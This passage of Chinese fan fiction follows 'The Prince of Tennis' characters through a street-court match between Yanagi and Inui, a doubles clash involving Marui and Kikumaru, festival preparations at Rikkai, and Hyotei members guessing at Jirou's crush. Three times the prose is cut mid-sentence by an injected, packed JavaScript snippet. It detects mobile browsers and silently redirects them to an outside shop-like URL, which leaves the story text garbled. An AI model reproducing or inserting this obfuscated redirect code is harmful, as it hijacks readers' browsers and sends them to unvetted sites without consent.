会是这样吗?丸井文太天生感觉敏锐,柳莲二自己兴许没意识到,他没有从对方身上体察到必胜的决心,反而是一种意欲了结什么的心情。网球是很注重竞技状态的运动,三心二意可不容易压住对手的斗志哦,尤其是曾经很了解 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16714710|188823||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自己的人。 嘛,其实要是真输了我也不会告诉别人就是了……文太轻哼一声,转过脸吹了个泡泡出来。 因为他的超绝无敌大好评,夸得咖啡店姐姐喜笑颜开,特别邀请文太与她的SNS账号相互关注,还说以后开发新菜品会在SNS上更新,欢迎他再来光顾。 文太自然从善如流,也拿起手机咔嚓咔嚓拍了好几张美食照片并备注了店名公开分享。 他的粉丝不少,大概是因为他经常转发一些美食推主的食谱,分享自己制作的点心照片,偶尔会推荐神奈川的美味点心店与自己改良的食谱,所以账号上除了与学校相熟的同学互关,也有许多网上是甜食爱好者的陌生人成为他的粉丝。 这次他的推文才发布不久,很快就有身在东京的粉丝评论说要来品尝。 “看来我还受文太君的照顾了呢。”店主姐姐受宠若惊,当即又送了他一份自制布丁。 “哇,太棒了!”丸井文太惊喜地睁圆眼,想起店主姐姐在SNS上的名字,Yuuki……嗯,美丽的名字,读音和幸村君的幸、白雪的雪都很相近呢,他愉快地笑说,“Thank you,优纪姐。” 街头网球场属于公共设施,通常来说,晚来的挑战者取得胜利后就能留在场地,不过就算是他们也没想到,青学附近的这处竟有着双打专用的不成文规定。 “好吧,看来你们有幸能看到我的天才表现了。” 丸井文太耸了耸肩膀,从顺着手臂滑下的球包里取出球拍,球场对面还有奚落他身量矮小得与小学生无异的中学生,他也只是好脾气地挑起眉梢,唇边噙着淡淡笑容,气定神闲地站在网前,任凭来球如何凌厉,他都能在网前轻易截击,然后凭借精准利落的控球能力,盯准死角反杀得分,很快打得对面气焰全消。 立海的网前专家,在开场站位具有先天优势的双打比赛中可谓是如虎添翼,不需要在发球后千方百计冲向网前,而是能直接占领他的统治领域。 连十分钟都不到,他们便以6-0的比分取得了完胜。 柳莲二微笑说:“这种程度,应该只是文太你的饭后消食而已。” “哪里哪里,对莲二你来说才是热身都算不上吧?”丸井文太同样回以轻松的调侃。 他话音才刚落下,忽然觉察到有来人,敛起眸光向一侧扫去,看见乾贞治背着球包走上球场的台阶。 “抱歉,我来迟了。”他说。 “别介意,我们也是刚到。”文太扛着球拍,摊开一边手掌,“话说这边是双打球场哦,你只有一个人,怎么办?” 乾贞治闻言愣了下,但他沉吟不过数秒,就回身向来时的方向走去。正当丸井文太困惑他该不会直接打道回府的时候,只见对方在一个电线杆旁站定,以揪小猫似的姿势从后面提出一个脸颊贴着OK绷的红发同学,以及被对方挣扎时一同带出来的同伴。 “放开我啊,乾。你怎么知道我在这里?!”红发同学不但手脚挣扎乱动,表情还很震惊,像是一只躲猫猫时被发现的猫。 他后面的同伴单手掩面,脸色惭愧:“我就说跟踪乾一定会被发现了啊,英二……” “我与莲二约时间的时候发现了菊丸在附近偷听,所以他跟踪我的概率是89%,大石你被菊丸牵扯进来的概率是72%,数据早已告诉我答案。” 乾贞治冷静地说道,转头看向一脸心虚的菊丸英二,“菊丸,这边场地只能打双打,你帮我个忙。放心,比赛不需要你出力。” “咦?不需要我出力是什么意思……”菊丸困惑。 “就是让你们那边的数据男和我这边的数据男单挑的意思。”丸井文太高声插话,朝他们招了招手,示意快点别浪费时间,“来吧,青学的。” 18.File 17 胜欲 虽然形式上是双打,但身为前卫的丸井文太和菊丸英二都离开场区,分别站立于球网两侧的位置,实质上为柳莲二和乾贞治提供了单打的比赛条件。 当然,双打场地要比单打多出左右两侧的界内区域,这一点的变化对那二人来说是相同的,所以视为公平,而且双打也有前卫负责发球的回合,届时负责发球的人就回场地发完球再离开……双方简单地沟通好细节,街头球场其他观战者也对今日凭空出现的高手心怀好奇,便对这形式上挑不出错处的“双打”睁一只眼闭一只眼不提出意见,然后比赛正式开始。 立海三巨头中,柳莲二的球风最为温和,是防守反击型的选手。使用数据网球作为武器的他,和无懈可击的幸村、一往无前的真田都个性不同,他在比赛中着重于观察对手的打法,然后凭此制定出先人一步的战略,每一球都能够抢占先机,与他比赛的对手往往就输在这处处被“抢先一步”的问题上,最后计策用尽也无力回天。 在无计可施的气馁中,那些输给柳莲二的人赋予他一个名为“Master”的称号。 丸井文太与防守反击型的选手有着丰富的交手经验,他的发小杰克·桑原也惯于使用这种风格的打法。虽然二人侧重点不同,杰克注重滴水不漏的防御,而柳莲二则更着眼于如何制敌反击,但很多方面的经验还是存在相通之处。 要克制这种人的关键就在于尽早击破对方的防御,比赛越拖到后期越是于己不利,因为一旦被对方看穿自己这边的攻击模式和行动漏洞,从防御转为进攻的那一刻会将他的节奏扰乱得极为难受。要知道气势这种虚无缥缈却能极大程度影响胜负的东西,最容易在一个人气力衰竭的时候遭受打击。 以上是丸井文太作为速攻型选手的见解。然而,此次作为柳莲二对手的乾贞治却与他不同,仅开局一球,丸井文太就看得出来,对方不仅在口头上念叨数据概率的作风与柳莲二很有共同语言,连比赛风格都像是同出一脉。 最初那二人都秉持着相同的习惯,打得克制而保守,以不动声色的眼神观察对手的行动。 柳莲二率先设套,他压低了自己的回球质量,故意放过前几局的比分,诱骗乾贞治建立错误的应对策略。 当对方自以为胜券在握,将网球击向他追不到的落点时,柳莲二唇边同样带起志在必得的笑容,脚下速度骤然提升,一记轻盈迅捷的平击球犹如离弦利箭,以极低的角度穿越对手身侧,落在底线。 超越预测的回球让乾贞治当场愣住,这人似乎是比较老实和忠于理论的性格,连失数分后才意识到自己搜集的数据存在极大偏差。他像是极不可思议柳莲二竟能将自己的资料伪装得天衣无缝,眉端浮现出一丝不可思议的神色。 接下来乾贞治方寸大乱的应对、慌张无措的神情,对与幸村、真田一同夺得全国冠军的柳莲二来说,已是球场对面司空见惯的景象。由于太过习惯,他在内心深处甚至感到一丝索然无味。 旋即一连数局迅疾利落的夺分,优势轻而易举被柳莲二握在掌心。 到此为止了么?他意兴阑珊地想,心神松懈了些许,自己都没意识到他的动作失去了刚开场时步步为谋又势在必得的锐气,但又由于这改变实在太过微乎其微,附近观战的人们始终未曾察觉个中端倪。 唯有身为机会主义者的丸井文太在某一瞬间若有所觉,以及始终将目光锁在柳莲二身上的乾贞治,仔仔细细地将他的变化看在眼里。 只要比赛仍有一丝胜机还在眼前—— 恐怕这是一个破釜沉舟的决战时刻,接下来对方义无反顾地抛弃了自己赖以为生的数据网球,拼尽全力阻拦柳莲二在失望之中越发不留情面的攻击。 观赛者中有人面露不忍,窃窃私语说他要输定了,不被所有人看好的人却不屈不挠地咬着牙,顽强地追逐着网球。 这家伙……精神头很不错嘛。 丸井文太吹出一个泡泡,在形成的阴影后方,一双眼睛闪过惊讶的神采,抛开立场不论,他对这人的求胜心还是非常佩服的。 不知不觉间天色渐暗,球场上方的泛光灯定时打开,将场地笼罩于一片透彻明亮的光色中,淡黄色的网球来回穿梭于球网上方,不知不觉中,比分走到5:4,取胜的赛点在柳莲二手里。 菊丸英二观战得心中无比焦急,急得像是热锅上的蚂蚁。 “乾那家伙,这不是快要输了吗……”他嘀咕说。 作为形式上的双打搭档,菊丸比赛前老老实实把身上学校制服的衬衫长裤换成了球包里替换的运动装,手上拿着自己的球拍,表现出他对这场对决的兴趣实质上相当高昂。 因为看着乾比分落后,他在轮到自己发球的回合都努力把球发得漂亮,想着说不定能为同校的伙伴制造一点优势,结果都被那个叫柳的人轻松化解,真让人懊恼。 倒是柳的同伴好像一点都不紧张的样子……菊丸英二悄悄将目光投向丸井文太,站在球网另一边的红发男孩单手叉腰,随意地把手中的球拍扛在肩窝,看起来一直在嚼口香糖。 虽然对方灵动的眼睛一直敏锐地盯着网球转来转去,但那一边吹着泡泡一边观赛的模样怎么瞧都松弛感拉满,是对自己的队友信心十足吗? 刚才轮到他发球也是,一看就是随意地应付了事。 他盯着丸井文太那带着淡淡微笑的侧脸,因为有点生气,一双浑圆的蓝色猫眼危险眯了起来。 你们外校的,该不会是来故意挑衅我们青学吧? 这时意气上头的菊丸英二彻底忽略了一点:乾贞治一直是以名字而非姓氏的叫法称呼柳莲二。 通常来说,同龄人中只有关系很好的朋友才会这样直呼名字。 相比于还需要发球的菊丸,他的同伴大石秀一郎站在更靠后一些的位置观战。尽管现在比分拉得不大,不过明眼人都能看得出来,乾正处于压倒性劣势。 大石将手指抵在下颌,听见菊丸焦虑的嘀咕,他也愁得应了一声:“是啊,这下可危险了。” 眼见比赛走向终局,柳莲二将球抓在掌心,蓦地回想起此刻局面与两年前那场无疾而终的对决多么相似。 他骤然睁开双眼,望见球网对面的旧友也在喘气间隙露出一个心照不宣的感慨表情。 贞治…… 原来你也不是全然落于下风,此刻的局面是故意放任的结果吧?说不准还趁机搜集了我真正的数据。 柳莲二从小时候就清楚,乾贞治的计算有时看起来相当笨拙和死脑筋,实际上对方是大智若愚,从未放弃过对胜率的追求。 在他的内心摇摇晃晃即将坠入回忆的前一刻,场外菊丸英二也骤然忿忿地一跺脚。 “不管了,怎能眼看着同伴输啊——” 才不理什么莫名其妙的单挑对决呢,眼下可是双打啊! 他一脚踏出,以飞跃的姿态在半空翻身,正当比赛双方因这意想不到的插曲愣在原处的刹那,菊丸英二以灵活动作伸长球拍,从半空截住了柳莲二的来球。 他这一招向来是屡试不爽的得分利器,凭借杂技般的动作分散对手的注意力,并同时从高处施展网前的高压截击,因为击球点位于网球滞空的最高处,施展出来的威力比寻常扣杀要更为迅猛,同时还具备了攻其不备的速攻优势。 “菊丸光束——” 在他话音尚未落下的一刻,鲜艳的红色如风一般闯入他的视野。 一根手指探向半空,牢牢牵引住了菊丸英二惊诧的视线,丸井文太咬着泡泡眯起眼睛,肩膀在蓄力时微微前倾,接下来发生的画面如叠加了一层慢速镜头般帧格闪现,杀球撞上拍网,一刹那发出了极沉极重的声音,在仅仅只有数十厘米距离内的瞬间攻防中,对手不但展现出敏捷得近乎恐怖的反射神经,更是用网前截击完全接下这球带来的巨大冲击。 菊丸英二此时身体尚在半空未曾落地,凭借他远超常人的动态视力,只觉网球落在球拍中心的震颤宛如彗星撞上地球,然而陨石坠地爆炸余波却未曾撼动坚实的地面。对手握力充沛,持拍的手腕极稳,从牢牢箍住腕部的黑色力量护腕,到肌肉线条流畅紧绷的手臂,无一不彰显出无比扎实的基础功底。 竟然还戴着负重啊!他骤然意识到了这个非常可怕的事实。 耳边传来一声轻笑,菊丸英二目光一闪,与丸井文太泛着锐气的视线一晃而过,此刻他齿间仍咬着用口香糖吹出的青绿色泡泡,分明该是仓促间的应对,居然连气息都丝毫不乱,鲜红发丝在风中飘飞起来,唇边带起游刃有余的弧度。 也是这一瞬间,丸井文太机会主义的特长在双打对决中展现得淋漓尽致,仅一眼便洞察出对手二人此刻尚不成形的站位漏洞,他没有留手,回球的闪光犹如出刀见血的斩击,凌厉、冷酷,而且志在必得,势不可挡地穿透青学二人的防线。 “哼,要比双打的话我奉陪到底!” 一球得分,丸井文太单手叉腰,意气风发地用球拍指向对手,发出的挑衅简直盛气凌人。 原本落地后还微微发愣的菊丸英二闻言顿时炸毛:“好啊比就比,谁怕谁啊!” “英二!”大石手忙脚乱地试图阻止,事先都说好了要让他们单打决胜负啊,贸然食言不好吧,却见丸井文太玩味地挑起眉梢,三言两语挑拨得他单纯的伙伴恼怒跳脚,压根听不进大石任何劝阻的话语了。 周围其他观战者倒是看热闹不嫌事大。丸井文太与菊丸英二的打法都是观赏性十足的类型,前者最擅长营造咄咄逼人的攻势,出手必然剑指得分,比赛节奏爽点密集,后者特技式的灵活动作亦是精彩又充满意外 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16720870|188823||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 性。大家伙儿原本眼见比赛将要毫无悬念地结束,这下引入新的变数反而看起来更有乐子,顿时起哄着让他们这样打下去。 不过—— 柳莲二:“文太。” 乾贞治:“菊丸。” 数据男发话,两位擅长网前的红发选手只好各自别过脸“嘁”了一声,都有些意犹未尽地挪到场外。 到底是拿了分的人在心理上是更愉快些,丸井文太扬起唇角,眼神示意柳莲二尽快解决对手,而此刻柳莲二的视线也正好驻留在他志气高昂的少年面庞,让难得看见他睁开眼睛的文太有些惊奇地眨了眨眼睛。 怎么了? 没什么。 柳莲二没有如往常般敛低睫羽,而是就这样回给他一个柔和的微笑。 真的没什么,他只是想起来一段非常日常的过去。 那是一个很寻常的下午,柳莲二和杰克·桑原一同坐在球场外的长椅喝水休息。由于柳莲二小学时期曾在少年网球界凭双打成绩打出名声,对方虚心向他请教诀窍。 “关键在于与自己的搭档达成互相理解吧,就能够提前预判对方的行动。要是和搭档的动向协调不好会很麻烦,相当于双打比赛变成1对3的对抗。”柳莲二说,随后看向杰克,“你和丸井不是发小吗?默契应该不在话下。” “只是我一直被那家伙不分场合地牵着跑而已。”杰克笑容无奈,抬手摸了摸后脑,他安静了一会儿,慢慢说,“文太的自我意识很强烈……我是至今和他相处最久的朋友,应该算很熟悉他了,不过我隐隐约约这样觉得,应该离理解还有差距吧。” 虽然平日总是一副嘻嘻哈哈的悠哉样子,但丸井文太在赛场上展现出的冷静和心计是他们队友都有目共睹的。他那让人看不清深浅的作风,也算是身上一层精妙的伪装色了。要追上他的思维,首先需要当断则断的决策魄力,对天性保守的杰克来说确实有些困难。 那二人本质上是精神互补的组合,与柳莲二和乾贞治的搭档模式并不相同。 柳莲二在这方面也给不出更多建议,只是道:“也别太迁就丸井,我是说双打。” “咳、我尽力吧……”杰克用压力山大的语气说。他真的很不擅长拒绝文太,或者说压根无法拒绝。 但当谈及与发小一起双打的感受,对方那副苦恼的模样蓦地焕然一新,用感慨又自豪的语气告诉柳莲二: 文太的网球非常积极,也能够给予他勇气。 从前柳莲二还会觉得杰克的感言不乏感情用事的夸张成分,但在今日,不知怎么回事,当他亲眼目睹丸井文太如英勇骑士般毫不犹豫冲向网球的身影,望着果断破招和积极反击的动作,他骤然明白了那是一种什么样的感觉。 进取果断,是丸井文太作为进攻型选手最为耀眼的特质。他生来就具备截击选手最不可或缺的勇气,面对挑战只会愈战愈勇,凭借这般乐观坚定的求胜意志,一路从立海的普通部员、准正选的后备成员,到现在的新一代主力,从未迷茫的背影犹如光火,今后也将作为共同铸就立海辉煌未来的中坚成员,与他们并肩奋战下去。 而他……也该看向前方。 照亮球场的灯光电流不稳,忽明忽暗地闪烁了两下,光影扑簌,将柳莲二落在刘海下方的俊秀眉目涂抹上一层冷清厚重的朦胧质感。 丸井文太眸光微闪,他发觉柳莲二自那一笑后,好像精神上挣脱了什么最近一直束缚他的东西,周身气息重新变回他所熟悉的那个智珠在握的立海参谋。 砰、砰。 两声负重护腕落地的沉重声响,不仅是乾贞治见状面色一凝,周围其他观战者们也是哗然大惊。 柳莲二收紧持拍的手心。 “抱歉,贞治。”他说,“是时候该终结我们那场未完成的胜负了,以我的胜利作为结果。” 哪怕不说出这番言辞,乾贞治自己也能看出来,在这瞬间,因为柳莲二眼中重新燃起的求胜欲,自己能够翻盘的可能性已经……无限接近于零。 全局观的差距、比赛经验的差距、身体基础素质的差距,无一不是横亘于双方间的天堑。 可就算如此,他仍是抬起汗水淋漓的脸庞,露出坦荡笑容,持拍躬身,摆好架势静待下一个发球,斗志不减地说:“不用客气,莲二。今天能逼出你的真正数据,我也不亏。这次资料能为我们的下一次对决提供绝佳的参考。” 下次。 是的,乾贞治也不问柳莲二当年搬家前的不告而别是有什么苦衷。从今年关东大赛,自己站在青学的观战席,看到对方以立海队员的身份登场之日起,他就已经在心中发誓,有朝一日要重新追上对方,追上自己的旧友。 然后—— “我们都全力以赴,打一场没有遗憾的网球吧。” 19.File 18 筹备 仁王雅治发觉立海参谋近日心情极佳。 证据是他经过球场时,看见柳莲二站在大门附近,手上拿着笔和记事本,却难得未将注意力放在场中训练的部员们身上,而是仰首望着球场远处的树景,齐肩的棕发在轻风中微微飘动。 是在想什么呢? 他放轻呼吸蹑足悄悄接近,一眼便瞄见对方落在纸页上的文字: 梧桐叶轻旋,隔街颔首似当年,银杏低语间。 似乎……似乎是通过寄情于景的手法来抒发与旧友相逢的喜悦之情。 三条黑线无声地挂在仁王的后脑,他万万没想到参谋竟有雅兴到创作俳句,以此人平日里足智多谋、孤高沉静的稳重形象来看,当下是真的情绪相当明快了。 就是爱好能不能更“国中生”一点…… 仁王雅治无奈地耸了下肩膀,又悄悄转身溜走。 九月底的神奈川已经秋意渐浓,经过几场夜半时分的淅沥小雨,白日的气温已降至二十四五度,穿着夏季制服还不算冷,不过在无需运动的场合已经不会再像月初时经常被热得流汗了。 与此同时,月底也就代表着立海在秋季学期的第一场盛会——海原祭,即将盛大开幕。 走出网球场便是立海中学部的东门,仁王在散步经过时看见了不少学生会的人在布置彩带之类的庆典装饰,因为周围来往的学生比平时更多,往常他能在附近围墙或者树上发现的野猫都不见了踪影,兴许是躲到人少的地方去了吧。 那我也找个地方—— 正当躲懒的想法浮上脑海时,仁王听见了一声熟悉的呼唤。 “仁王君,终于被我找到你了。” 是柳生比吕士。对方眼尖地注意到仁王雅治意图偷溜的身影,立即高声叫住了他,然后从一干学生会的人群中脱身,快步走向他。 仁王轻“啧”了一声,预感麻烦事要来了。果不其然,柳生接下来就说起下午他在班会中途消失的事。没办法,他就是不喜欢掺合在跟一大堆人议论事情的环境中啊,太吵闹了。仁王心下叹了口气,稍加回忆当时同学们商讨的内容,忽然一笑:“所以,我们班最终决定的海原祭活动主题是鬼屋喽?” 柳生比吕士沉默,然后抬手托了一下鼻梁上的眼镜。 “都怪你不在啊,仁王君!”他懊恼说,不知为何,声音深处透出一丝微不可查的僵硬,好似因为某种原因而情绪动摇,“要你是给我的提议投票的话,我所推荐的阿加莎读书沙龙就能顺利举办了!” 喔?所困扰的当真只有提议未能如愿吗? 柳生虽然醉心于推理小说,但对欺骗人的心得却远不如仁王这般狡猾的谎言家来得技巧娴熟,只随意将目光扫过绅士强作镇定的脸庞,他就坏心眼地笑起来,电光石火间,脑海里闪过一个绝妙的主意。 “喂,柳生。”仁王将手搭在好友的肩膀上,薄唇靠近对方的耳际,小痣微动,接着故意渐次降低的低磁声音犹如摇晃的苇草,绒绒地扫过心隙,“我有一个你绝对更喜欢的提议……” 丸井文太发觉仁王雅治近日心情极佳。 在立海网球部待久的人都知道,仁王静悄悄,必定在作妖。虽说不一定与他有关,但丸井文太作为好奇心与洞察力兼具的天才,还是忍不住多分一部分注意力在那位部活以外时间总是神出鬼没的队友身上。 海原祭举办在即,他作为被部长幸村钦点的主演,需要背的台词非常多。为了不让对方失望,文太最近都积极地在训练后参与节目的排演,特别是与有对手戏的人一起商量到时登台后走位和配合的细节。 “到时候我就在这个位置。” 海林馆是位于网球场对面的社办大楼,除了分配给运动社团的部室以外,也有能容纳上百观众的馆区。他站在排练的舞台中央,右手拿着卷起来的台本,一边比动作一边轻轻哼了几句台词,随后目光望向站在不远处的仁王雅治。 对方心领神会地踏出几步,以精准时机接上丸井文太的戏份,不疾不徐地迈出步伐,抬眼、转脸、轻笑,举手投足,每一个表演动作都恰到好处的到位,甚至仪态翩翩得几近优雅,而且因为念白没有文太那么多,整个对戏环节都是脱稿表演。 说实话,精彩得有些超乎预料。 在台下旁观的零星后勤人员稀稀拉拉地鼓起掌来时,丸井文太却不甚明显地挑起眉梢,锐利目光在仁王雅治看不出破绽的脸庞上来回扫描,停留了许久才缓缓挪开。 杰克·桑原因为擅长缝纫,负责参演成员的戏服制作,他在排演后拿着软尺给仁王测量制衣所需的身材尺寸,柳莲二在旁担任记录数据的助手。 “站直身体,好,仁王的身高是……”杰克忙忙碌碌,头也不抬地向柳报出一个数字。 柳的笔尖在纸页上停顿了一下,睫毛微微一掀,抬眸与仁王对视了一瞬。 这个数据与他记录的资料存在一定误差,虽然也需要将近期生长的因素纳入计算…… “怎么了,参谋?”仁王雅治好像知晓他此刻内心的思忖,忽然笑问。 柳莲二安静须臾,同样也缓缓笑了下,不知为何,声音深处透出一丝玩味气息。 “不、没什么,不用介意。”他说。 杰克·桑原隐隐约约从二人语气古怪的一问一答中感觉到异样,面上浮现出疑惑,起身瞧了他们一眼:“你们怎么了?” “哼,大概是柳在惊讶仁王的身高吧。”未等二人回答,撩开挡帘走进后台的丸井文太也加入对话,“那家伙有点驼背,所以平时看不准的。” 他把手肘搭在杰克的肩膀上,整个人很放松地斜靠借力,随后脑袋微微一歪,红发摇晃,紫色瞳仁似笑非笑着紧盯住仁王雅治冷静的眼睛。 “我说的对吗,仁王?难得和平常不一样的感觉挺不错吧。” 明明是帮人解释的言辞,被丸井文太用含笑的语气说起来,却莫名其妙覆上一层意味深长的意味。 更遑论这家伙还调侃地看向仁王雅治眨了眨眼睛,眼底波光暗转,藏着说不尽的刻意。 对方同样挑挑眉回以一个心照不宣的眼神,眼角眉梢俱是虚实莫测的神秘笑影,他似乎是在一语双关,语焉不详地回了一句:“我不太习惯,不过我不否认,棘手的事也自有其趣味。” 好一个自有其趣味。丸井文太心下觉得有趣,于是摆了摆手,表示不再深入这个话题。 在场唯有杰克一人心下有些莫名其妙,摆好姿势测量一下尺寸而已,有什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16725241|188823||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么棘手的?观望着几人间扩散开来的诡异气场,他出声打破沉寂:“好了,下一个文太来量。仁王,你去叫柳生。” 丸井文太见仁王雅治颔首表示了解,也跟着看热闹不嫌事大地嚷:“仁王,你可要喊柳生尽快来啊,别让杰克久等了。” 柳生的字眼被他故意咬了极重的音。 对方没说什么,只是把插在口袋里的一只手抬起来,趁转身时随意地摆了摆,自肩膀连带到肩胛骨位置的衬衫褶皱懒洋洋地忽浅忽深,瘦削修长的背影很快融入舞台深处的阴影里。 海原祭上由学生筹办的活动主要分为两种,一种是以班级为单位筹办,通常以模拟店的形式开展,常见的有茶餐厅、小吃店、游戏摊、读书会、迷你舞会等互动性较高的种类,另一种则是以社团为单位筹办,通常以表演节目、才艺展示或者较大规模的主题活动为主,鉴于社团规模有大有小,学校并不强制报名,往年也是校内的传统强势社团和一些成员活跃度高又经费很足的社团主动参与。 文太和杰克的班级今年投票选中的模拟店主题是竞技歌牌。那是一种类似于桌游的传统游戏,在学生中十分流行,外行人学会规则后也能很快上手。他们班中有一位同学,在今年的竞技歌牌全国大赛中取得了八强的好成绩,据说对方老家正是歌牌文化深厚的京都。 竞技歌牌被称为榻榻米上的格斗游戏,其机制其实非常简单。 游戏道具是50张写有和歌上半句的牌和50张写有下半句的牌,参与的人分为两个角色,读牌者随机抽取印有上半句的和歌的牌并朗诵出来,竞技者则是要在听到内容后立即从地上乱序摆放的歌牌中抢取到能够正确接为下半句的那张。 当然了,规则虽然简单,游戏却极为考验玩家的对和歌和卡片摆放位置的记忆力,以及抢取歌牌的行动能力。 巴西出身的杰克一开始并不明白歌牌是个什么东西,文太便拿出两张卡片,用马克笔分别在上面写了文字,然后其中一张递给杰克让他念,另一张放在桌上。 杰克看着手上的牌念道:“如何?” 丸井文太立马把桌上写有“很天才吧”的牌抢在手里,比在笑嘻嘻的脸颊旁,语气特别可爱地说:“很天才吧!” 前一句和后一句连接起来,正好是他本人最具标志性的口头禅。 好吧好吧你最天才。杰克无奈想着,但仍不忘吐槽说:“这压根不是和歌吧!” 他们二人作为运动社团的成员,眼力和反射神经自然卓然超群,不过要论起对和歌的熟记程度,还是远不如班里属于文学社团的一众男生女生,因此被分配了海原祭当天轮流担任读牌者的工作,算起来相当轻松。迎接挑战者的任务则由其他擅长此道的同学肩负,挑战者若是能取得胜利,可以得到班里女生们手工制作的小纪念品。 活动那天,文太在完成了他负责读牌的轮值时间之后,就嚼着口香糖开启了四处闲逛的悠哉时间,但他不知道的是,在他离开后没过多久,有一个浅金发色、穿着外校校服的卷毛男孩从教室门外悄悄探头,眼睛睁大,非常努力地左瞧右看。 “那个……”他遍寻不见自己想找的人,便问起站在门边的一个女生,“你好啊,请问丸井君是这个班的吗?” 20.File 19 错过 芥川慈郎,冰帝学园一年级。 虽是一年生,但他受益于同年级的迹部景吾统治网球部后改革的新规,目前已成为校队正选成员,是连部内向来以严厉闻名的顾问榊太郎都认可实力的截击选手。 天性单纯乐观、温顺友善,又有着万事不经心的大条神经,那一头酷似绵羊的浅金卷发是他的标志性特征。芥川慈郎有着慵懒嗜睡的习惯,因此被同学和网球部的队友们戏称为睡觉皇帝,但一在网球场上遇到强敌就会提起兴趣,永远能享受球场上对战时那份惊险刺激,从瞬间攻防的快感中汲取能量。 由于平日举止稚拙,慈郎总是被他的同学和队友们像是传递接力棒一样地关照着。班上女同学们齐心为课上睡着的慈郎整理复习笔记,发小向日岳人和宍户亮主动替帮父母看店睡着的慈郎接待顾客,部长迹部景吾会请忘带午餐便当的慈郎到自助餐厅吃饭……诸如此类的琐碎事迹不一而足。 但在近日,如往常一般关心着慈郎的众人发现,一贯无忧无虑的睡觉皇帝好像有了点心事。 证据有:在国语课上没睡觉,而是看着窗外天空飘过的云朵发呆;忽然对宍户亮吃的口香糖感兴趣,问他为什么不会吹出泡泡;部活时自言自语着“这样不对不对”,然后反复修正动作进行练习,似乎是将谁当作了学习范本。 虽说向来作风散漫的部员肯认真训练是一桩好事,但身为关心同学的部长,迹部景吾还是有些好奇对方忽然出现变化的原因。 “迹部啊,答案不是显而易见吗?”冰帝网球部的天才忍足侑士轻笑一声,抬手扶了下鼻梁上圆框眼镜,意味深长说,“是春天来了啊。” “哈——?”路过二人的向日岳人听见他装模作样的后半句话,抬头看了看天空,“你脑袋被太阳晒傻了吗,侑士?现在明明是秋天。” 这个单纯的家伙什么时候能开窍啊。忍足唇边的笑一僵,他无奈地扶额叹了口气:“打个比方而已,打个比方。” 迹部见状忍不住幸灾乐祸地挑眉,忍足那不正经的家伙,也就对向日心直口快的真诚脾气最没辙了吧,这大概就是所谓的克星。 “所以,”他简单地提炼重点,“你是说慈郎最近有在意的人了吗?” “我肯定,他的上进一定事出有因。”忍足侑士回答得无比笃定,“光凭慈郎自己,他不会刻意去做有违他天性的事情。” 这句话的槽点很多,奈何迹部不愧是能跟忍足聊得来的损友,一时居然觉得很有道理。 在意的人吗?他用手指拂过眼尾的泪痣,眉间微微拧起又放松,要是网球部的其他人陷入这种恋爱情结,迹部景吾觉得他是无需操心的,但芥川慈郎的天真是任何人都有目共睹的特质,这让他有些担忧。 一方面是担忧还孩子气十足的慈郎能不能与对方顺利相处,一方面也是担忧外人会不会别有居心,万一是利用慈郎打探他们冰帝网球部的情报……能成功与否都姑且不谈,迹部只是不想看到慈郎被人欺骗后受到伤害。 “你知道对方的身份吗?”迹部问。 关于这点,忍足侑士也是完全不知情。照理说,芥川慈郎都是在大家的眼皮底下补觉,能主动与班级和社团同学以外的人交流的机会应该不多才对。至于校外的场合…… “我觉得慈郎好像是新人战回来以后就这样了?”忍足不确定地说,随后低头看向不明就里的岳人,“你有什么头绪吗?” “什么?” “慈郎在新人战的时候有遇到什么特别的人吗?”忍足侑士在新人战的场外看到过不少观战的女生,说不准当中就有芥川慈郎的意中人。 “特别的人这种说法好肉麻啊……”向日岳人反射性地吐槽了一句,但他没过多思考,基本是不假思索地爆料,“应该是那个吧,立海的,给我吓一大跳,当时慈郎那家伙还抓着人家的手不放呢。” 慈郎那笨蛋一点距离感都不懂,当时我都要替他尴尬死了……后面岳人满腹牢骚的抱怨,迹部和忍足没有再听进耳里,二人对视一眼,已经确认慈郎喜欢的人是立海的学生。 如果对方来自立海的话,迹部倒是不用担心是间谍或居心不良一类的问题。哪怕不提那边普遍以名门学子身份为傲的自尊心,今年获得了全国冠军的网球部才是被其他学校所热切关注的焦点中心。 部长幸村的实力冠绝当代,副部长真田刚正不阿,策士柳莲二也是孤高的君子,他们所率领的队伍也自然不屑于在比赛场外动手脚。 既然隐患排除,迹部又对慈郎近期的努力练习深感欣慰,他考虑了一下冰帝与立海相隔的距离,心想正好迹部财阀近期有意在湘南收购地块用于网球场及周边设施的开发,父亲给他布置了考察当地的任务,自己过去时顺路帮慈郎一把也不赖,正好还能看看迷倒对方的女人究竟是何方神圣。 